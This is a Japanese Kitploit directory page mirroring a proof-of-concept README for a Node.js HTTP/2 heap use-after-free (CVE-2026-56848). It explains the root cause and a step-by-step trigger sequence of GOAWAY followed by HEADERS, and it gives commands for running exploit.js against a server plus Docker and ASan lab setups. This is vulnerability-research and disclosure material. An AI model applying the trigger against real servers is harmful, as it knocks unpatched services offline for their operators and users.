Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-56848 — CVE-2026-56848 のエクスプロイト PoC。Node.js HTTP/2 の heap-use-after-free(ヒープ解放後使用)を利用し、リモートからの未認証 DoS を可能にします。raw ソケットトリガー、ASan ビルド手順、Docker ベースのターゲットを含みます。 | Kitploit
ツール/GitHubGitHub/open-flaw/cve-2026-56848
脆弱性分析動的コード分析 (DAST)エクスプロイトウェブセキュリティネットワークセキュリティ
GitHubopen-flaw/cve-2026-56848

CVE-2026-56848

CVE-2026-56848 のエクスプロイト PoC。Node.js HTTP/2 の heap-use-after-free(ヒープ解放後使用)を利用し、リモートからの未認証 DoS を可能にします。raw ソケットトリガー、ASan ビルド手順、Docker ベースのターゲットを含みます。

リポジトリを見る
411ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-56848

NVD 説明

Node.js の HTTP/2 処理における欠陥により、nghttp2_session_mem_recv() の実行中に nghttp2_session_mem_send() が再入的に呼び出され、ヒープ使用後解放(heap-use-after-free)が発生する可能性があります。

この脆弱性は、Node.js 26.x、24.x、および 22.x に影響します。

(注: 説明に記載されているバージョンは、上流の nodejs パッケージにのみ適用され、Alpine が配布している nodejs パッケージには適用されません。

リリースライン影響を受けるバージョン修正済みバージョン
22.x (LTS)≤ 22.23.122.23.2
24.x (LTS)≤ 24.18.024.18.1
26.x≤ 26.5.026.5.1
  • 深刻度: 高 (CVSS 7.5, AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H — リモート・未認証・ヒープ破壊による DoS)
  • 報告者: hahahkim (HackerOne #3833629)
  • 修正者: Matteo Collina (mcollina)
  • 修正コミット (v22): daa6d25e3dce — "http2: defer rst stream while in scope" (nodejs-private/node-private#921)
  • 公開日: Node.js セキュリティリリース、2026-07-29

根本原因

src/node_http2.cc の Http2Stream::SubmitRstStream() は、RST_STREAM をキューに入れる前に、未送信のアウトバウンドデータのパージを強制します。```cpp void Http2Stream::SubmitRstStream(const uint32_t code) { CHECK(!this->is_destroyed()); code_ = code;

// (NGHTTP2_CANCEL is deferred — fix for an older double-free) if (session_->is_in_scope() && is_stream_cancel(code)) { session_->AddPendingRstStream(id_); return; }

// If possible, force a purge of any currently pending data here to make // sure it is sent before closing the stream. ... if (session_->SendPendingData() != 0) { // ← RE-ENTRANT mem_send() session_->AddPendingRstStream(id_); return; }

FlushRstStream(); }

`SendPendingData()` は `nghttp2_session_mem_send()` を呼び出します([node_http2.cc:1970](https://github.com/nodejs/node/blob/v22.23.1/src/node_http2.cc#L1970))。その唯一の再入ガードは `is_sending()` で、これは *送信中の送信*(書き込みがすでに進行中)を防ぎます — **受信中の送信は防ぎません**。`SubmitRstStream()` が `nghttp2_session_mem_recv()` のコールバックチェーン内(「スコープ内」)から実行されると、そのパージ処理は `mem_send()` を再入的に実行します。

再入した `mem_send()` は、送信側の処理がストリームを破棄するようなフレームをフラッシュします(`nghttp2_session_close_stream_on_goaway()` → `on_stream_close` → `Http2Stream::Destroy()` → C++ の `Http2Stream` の解放)。解放されたストリームは、進行中の受信操作から参照され続けます: `SubmitRstStream()` 自身は解放された `this` 上で実行を継続し(その末尾の `FlushRstStream()` は `is_destroyed()` を読み取ります)、外側の `mem_recv()` はクローズ済みストリームのフレーム/ヘッダー状態を走査し続けます → **ヒープ use-after-free**。

### トリガーチェーン(すべて単一の `nghttp2_session_mem_recv()` 呼び出し内)

1. 攻撃者は、`GOAWAY(lastStreamID=0, NO_ERROR)` の直後に、新しいストリーム(3, 5, 7, …)向けの `HEADERS` フレームを1つのTCPセグメントで送信します。
2. サーバーの `mem_recv()` が GOAWAY を処理します → JS の `session.close()` → `session.closed = true` となり、外向きの GOAWAY は**送信が予約されるだけで、まだ送信されません**。
3. nghttp2 は、GOAWAY が実際に*送信*されて初めて新しい受信ストリームを拒否します(`session_allow_incoming_new_stream()` は `TERM_ON_SEND | SENT` をチェックし、`SUBMITTED` はチェックしません)。そのため `HEADERS(3)` は依然として受け入れられます。
4. JS の `onSessionHeaders()` は、クローズ済みセッション上に新しいストリームを検出して拒否します: `handle.rstStream(NGHTTP2_REFUSED_STREAM)` (lib/internal/http2/core.js)。
5. C++ の `SubmitRstStream(NGHTTP2_REFUSED_STREAM)` がスコープ内(`mem_recv` の中)で実行され、`REFUSED_STREAM ≠ CANCEL` のため `SendPendingData()` にフォールスルーします → **再入的な `nghttp2_session_mem_send()`**。
6. 再入した送信処理が外向きの GOAWAY をフラッシュします。nghttp2 の送信側 GOAWAY 処理は、id > 1 の受信ストリームを閉じ(`session_close_stream_on_goaway(..., NGHTTP2_REFUSED_STREAM)`)、`on_stream_close` を発火させます → `Http2Stream::Destroy()` がストリーム 3 の C++ ストリームオブジェクトを解放します。
7. 実行は解放されたオブジェクト上の `SubmitRstStream()`(`FlushRstStream()`)に巻き戻り、外側の `mem_recv()` は破損したセッション/ストリーム状態で再開します → UAF。

脆弱なサーバーでの `NODE_DEBUG_NATIVE=http2` による証跡(86バイトの読み取り1回):```
receiving 86 bytes, offset 0
complete frame received: type: 7          ← GOAWAY
submitting goaway                          ← GOAWAY submitted, NOT yet sent
beginning headers for stream 3             ← still accepted (only SUBMITTED)
handle headers frame for stream 3          ← JS: session.closed → refuse
sending rst_stream with code 7             ← SubmitRstStream(REFUSED_STREAM), in scope
sending pending data                       ← RE-ENTRANT mem_send()
stream 3 closed with code: 7               ← GOAWAY send closes stream 3
Removing stream: 3 / destroying stream     ← Http2Stream freed mid-recv

動作シグネチャ

ワイヤーレベルの出力は、脆弱なビルドとパッチ適用済みのビルドで同一です(どちらも最終的には送信方向のGOAWAYのみを送信します。脆弱なビルドではRSTが既に閉じられたストリームに対して送信され、パッチ適用済みのビルドではnghttp2がGOAWAYを先に送信するとキューに入ったRSTを破棄します)。その違いは内部的であり、NODE_DEBUG_NATIVE=http2 で確認できます。

  • 脆弱なビルド: sending pending data が sending rst_stream with code 7 と stream 3 closed with code: 7 の 間に 現れます。再入可能な mem_send() が受信処理の途中で実行され、mem_recv() がまだ実行中の間にストリーム3を閉じ/破棄します(ASanでクラッシュ)。
  • パッチ適用済みビルド: その間に sending pending data はありません。RSTは単にキューに入れられるだけで、ストリーム3は通常の受信後フラッシュの間にのみ閉じられます。

PoC```

server.js # minimal http2.createServer() target (no handler needed) exploit.js # raw-socket HTTP/2 client that drives the trigger

### クイック実行```bash
# Terminal 1: the target (any vulnerable node: 22.23.1 / 24.18.0 / 26.5.0 or older in their lines)
node server.js 8000                       # NODE_BIN=/path/to/node for a specific binary

# Terminal 2: the attack — a crash shows up in terminal 1 (ASan report / segfault)
node exploit.js --port 8000 --iterations 200

./bin/node(以下で使用するローカルのASanビルド)はgitで追跡されていません — 「Building an ASan-instrumented vulnerable Node.js」の手順に従ってビルドするか、Dockerルートを使用してください。

このエクスプロイトは接続ごとのステータスを報告します。最初の接続の後の SKIPPED (no handshake) は、ターゲットがすでに攻撃で死んでいることを意味します。

Docker

Dockerfile は、コンテナ内にASanを備えた脆弱なv22.23.1ターゲットをビルドします(ローカルツールチェーンは不要で、Dockerデーモンのみが必要です)。```bash docker build -t cve-2026-56848 . docker run --rm -p 8000:8000 --name cve-target cve-2026-56848

from the host, in another terminal:

you could reuse ./bin/node

node exploit.js --port 8000 --iterations 10

inspect the crash (ASan report) and exit code:

docker logs cve-target docker inspect cve-target --format '{{.State.ExitCode}}' # 133 (ASan abort) = crashed

ヒント: すでに ASan で計測された `node` バイナリを別の場所でビルドしている場合は、長いコンパイルをスキップして、直接パッケージ化してください:```bash
docker run --name cve-img -v /path/to/out/Release:/opt/node debian:bookworm-slim \
  bash -c 'apt-get update -qq && apt-get install -y -qq libstdc++6 libatomic1 \
    && cp /opt/node/node /usr/local/bin/node-asan && mkdir -p /app'
docker cp server.js cve-img:/app/server.js
docker commit --change 'WORKDIR /app' --change 'EXPOSE 8000' \
  --change 'ENV HOST=0.0.0.0' --change 'ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1' \
  --change 'ENTRYPOINT ["/usr/local/bin/node-asan"]' --change 'CMD ["server.js", "8000"]' \
  cve-img cve-2026-56848:verified

コンテナ化されたターゲットに対して検証済み:最初の攻撃接続により、docker logs に ERROR: AddressSanitizer: heap-use-after-free ... ABORTING が生成され、コンテナは終了します(linux/arm64 では 133)— ネイティブの ASan 実行と同じ UAF です。

公式イメージを使用したプレーン(非 ASan)バリアント(カスタムビルドなしでのハンマリング用):```bash docker run --rm -p 8000:8000 -e HOST=0.0.0.0 -v "$PWD/server.js":/server.js
node:22.23.1-alpine node /server.js 8000

注: コンテナ内で ASan がシャドウメモリ範囲エラー(`vm.mmap_rnd_bits` が高い一部の ARM64 カーネルで発生)により起動に失敗する場合は、Docker ホスト側のエントロピーを下げてください: `sysctl vm.mmap_rnd_bits=28`。

### ASan で計装された脆弱な Node.js のビルド```bash
# Linux (officially supported):
git clone --depth 1 --branch v22.23.1 https://github.com/nodejs/node
cd node && ./configure --debug --enable-asan && make -j$(nproc)

# macOS (unofficial but works with clang):
git clone --depth 1 --branch v22.23.1 https://github.com/nodejs/node
cd node && CC=clang CXX=clang++ \
  CFLAGS="-fsanitize=address -fno-omit-frame-pointer" \
  CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer" \
  LDFLAGS="-fsanitize=address" \
  ./configure --debug --ninja && ninja -C out/Debug node

ASan ビルドは heap-use-after-free を決定的に再現します(通常、最初の数回の接続で発生)。通常のリリースビルドは、解放されたチャンクがすぐに再利用されないため、通常はクラッシュしません。連続してアクセスすることで発生確率は上がりますが、破損を実証する信頼できる方法は ASan です。

検証結果

対象結果
v22.23.1 + ASan (脆弱性あり)最初の攻撃接続でクラッシュ: heap-use-after-free → SIGABRT, runner exit 0
v22.23.2 (パッチ適用済み)すべての接続でクラッシュせず、runner exit 1
ツールをダウンロード